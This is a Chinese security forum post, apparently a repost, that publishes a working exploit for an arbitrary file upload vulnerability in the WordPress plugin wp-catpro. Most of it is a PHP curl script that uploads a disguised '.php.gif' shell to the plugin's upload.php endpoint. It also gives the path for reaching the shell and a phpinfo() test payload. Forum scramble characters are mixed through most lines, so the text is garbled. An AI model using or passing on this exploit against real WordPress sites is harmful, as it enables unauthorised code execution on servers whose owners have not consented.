找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1955|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
* z) |( M3 ^5 s8 P3 K! x2 k#------------------------------------------------------------------------ m0 }/ k6 w0 ]4 o  j) \

0 R, k% v( W0 q! ]5 E% m# o3 E作者  => Zikou-16
  r$ N! y: Q( O: b3 e4 }% p* A邮箱 => zikou16x@gmail.com
# B, R8 N4 N" T2 e% m测试系统 : Windows 7 , Backtrack 5r3% Q- m/ f. r4 P" f' A# g
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
+ D' [* o) g7 L  o8 q####
- O1 t' B6 a3 r% H 7 g9 x) V. @! L, C% w
#=> Exploit 信息:
+ A% O& v6 A! Y0 z1 i------------------
$ I& L9 H4 c$ }' L8 y0 V; s# 攻击者可以上传 file/shell.php.gif
8 V& X$ e# f6 y# ("jpg", "gif", "png")  // Allowed file extensions) g  |; p$ ]( d3 n3 H$ k+ t7 c
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
1 a7 D0 K0 E  d3 j0 s# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
5 C% ]. V" [: Q6 [/ C( `------------------4 S; t! h$ r0 U+ t1 T8 }

  J- a- v$ r' j3 G! [/ r* X#=> Exploit, r3 f! H" c( B0 Z% v
-----------( y4 a( ?5 O8 c' x& n5 s( T" X
<?php7 A' E% b; z9 Q3 k

9 C/ Z  {/ F) y, E1 M  i- V/ p. A$uploadfile="zik.php.gif";* ?/ B) l7 f4 D, m4 b% O( R1 ~
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
) N! y6 w' Y  ?+ i+ v: W, w% e8 ~- [curl_setopt($ch, CURLOPT_POST, true);* ?( O- i7 A0 D6 f, ]
curl_setopt($ch, CURLOPT_POSTFIELDS,/ W+ i2 z2 a2 v
array('Filedata'=>"@$uploadfile",
" o# K, R+ Y2 ?" c'folder'=>'/wp-content/uploads/catpro/'));
6 G) F$ x3 g( `curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1 |7 ~7 g- ?; G' I3 q$postResult = curl_exec($ch);" z! u& a: ]! B% K
curl_close($ch);+ a1 V, E8 Z# V" X- I2 \
) V1 x( e1 f5 c. _: T* q3 o* }/ ~; M, r
print "$postResult";
& I" i7 L! y& s0 F7 F# `3 O ' s3 r: [# u: J  y6 Y; m
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif/ {) C* ]+ {9 D9 t
  ?>* d- P( {+ ?& y8 p- g! n: e
<?php) e* I- T" J9 e; F7 v* n( \
phpinfo();
  w6 B% r% _% N0 X8 a8 D?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表